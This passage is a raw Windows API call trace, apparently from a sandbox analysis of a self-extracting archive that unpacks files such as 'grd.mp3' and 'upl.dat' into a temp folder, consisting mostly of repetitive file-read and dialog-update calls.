lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.403] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.403] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.403] GetTickCount () returned 0x1fb7d [0068.403] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.403] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.403] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.403] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.403] GetTickCount () returned 0x1fb7d [0068.403] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.403] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.403] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.403] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.403] GetTickCount () returned 0x1fb7d [0068.403] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.403] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.403] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.403] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.403] GetTickCount () returned 0x1fb7d [0068.403] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.403] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.403] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.403] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.403] GetTickCount () returned 0x1fb7d [0068.403] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.403] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.403] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.403] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.403] GetTickCount () returned 0x1fb7d [0068.403] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.403] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.403] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.403] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.404] GetTickCount () returned 0x1fb7d [0068.404] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.404] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.404] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.404] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.404] GetTickCount () returned 0x1fb7d [0068.404] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.404] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.404] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.404] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.404] GetTickCount () returned 0x1fb7d [0068.404] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.404] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.404] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.404] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.404] GetTickCount () returned 0x1fb7d [0068.404] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.404] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.404] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.404] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.404] GetTickCount () returned 0x1fb7d [0068.404] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.404] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.404] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.404] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.404] GetTickCount () returned 0x1fb7d [0068.404] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.404] ReadFile (in: hFile=0x1c, lpBuffer=0x270480, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270480*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.404] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.404] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.404] GetTickCount () returned 0x1fb7d [0068.404] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.404] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x274, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x274, lpOverlapped=0x0) returned 1 [0068.405] GetTickCount () returned 0x1fb7d [0068.405] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.405] SetFilePointer (in: hFile=0x1c, lDistanceToMove=871267, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd4b63 [0068.405] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.405] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.405] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.405] CloseHandle (hObject=0x138) returned 1 [0068.406] SetFileAttributesA (lpFileName="grd.mp3", dwFileAttributes=0x20) returned 1 [0068.406] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd4b63 [0068.406] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.406] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.407] OemToCharA (in: pSrc="upl.dat", pDst=0x179cc0 | out: pDst="upl.dat") returned 1 [0068.407] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="upl.dat", cchCount2=1) returned 1 [0068.407] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="upl.dat", cchCount2=6) returned 1 [0068.407] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="upl.dat", cchCount2=-1) returned 1 [0068.407] SetFilePointer (in: hFile=0x1c, lDistanceToMove=871311, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd4b8f [0068.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="upl.dat") returned 8 [0068.407] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41a2b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.407] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting upl.dat") returned 18 [0068.407] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting upl.dat") returned 1 [0068.407] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.407] OemToCharBuffA (in: lpszSrc="u", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="u") returned 1 [0068.407] CharToOemBuffA (in: lpszSrc="U", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0068.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="upl.dat") returned 8 [0068.407] FindFirstFileW (in: lpFileName="upl.dat", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.407] GetLastError () returned 0x2 [0068.407] GetFileAttributesA (lpFileName="upl.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\upl.dat")) returned 0xffffffff [0068.407] CreateFileA (lpFileName="upl.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\upl.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.407] GetFileType (hFile=0x138) returned 0x1 [0068.407] SetFilePointer (in: hFile=0x138, lDistanceToMove=505, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x1f9 [0068.407] SetEndOfFile (hFile=0x138) returned 1 [0068.408] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.408] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x19e, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x19e, lpOverlapped=0x0) returned 1 [0068.408] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.408] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.408] GetTickCount () returned 0x1fb7d [0068.408] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.408] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.408] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.408] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.408] GetTickCount () returned 0x1fb7d [0068.408] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.408] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.408] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.408] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.408] GetTickCount () returned 0x1fb7d [0068.408] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.408] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.408] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.408] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.408] GetTickCount () returned 0x1fb7d [0068.408] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.408] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.408] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.408] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.408] GetTickCount () returned 0x1fb7d [0068.408] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.425] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.425] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.425] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.425] GetTickCount () returned 0x1fb9c [0068.425] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.425] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.425] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.425] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.425] GetTickCount () returned 0x1fb9c [0068.425] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.425] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.425] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.425] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.425] GetTickCount () returned 0x1fb9c [0068.425] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.425] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.425] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.425] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.425] GetTickCount () returned 0x1fb9c [0068.425] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.425] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.425] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.425] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.425] GetTickCount () returned 0x1fb9c [0068.425] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.425] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.425] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.425] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.425] GetTickCount () returned 0x1fb9c [0068.425] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.425] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.425] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.425] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.425] GetTickCount () returned 0x1fb9c [0068.425] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.425] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.426] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.426] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.426] GetTickCount () returned 0x1fb9c [0068.426] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.426] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.426] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.426] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.426] GetTickCount () returned 0x1fb9c [0068.426] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.426] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.426] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.426] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.426] GetTickCount () returned 0x1fb9c [0068.426] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.426] ReadFile (in: hFile=0x1c, lpBuffer=0x270426, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270426*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.426] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x63 [0068.426] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.426] GetTickCount () returned 0x1fb9c [0068.426] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 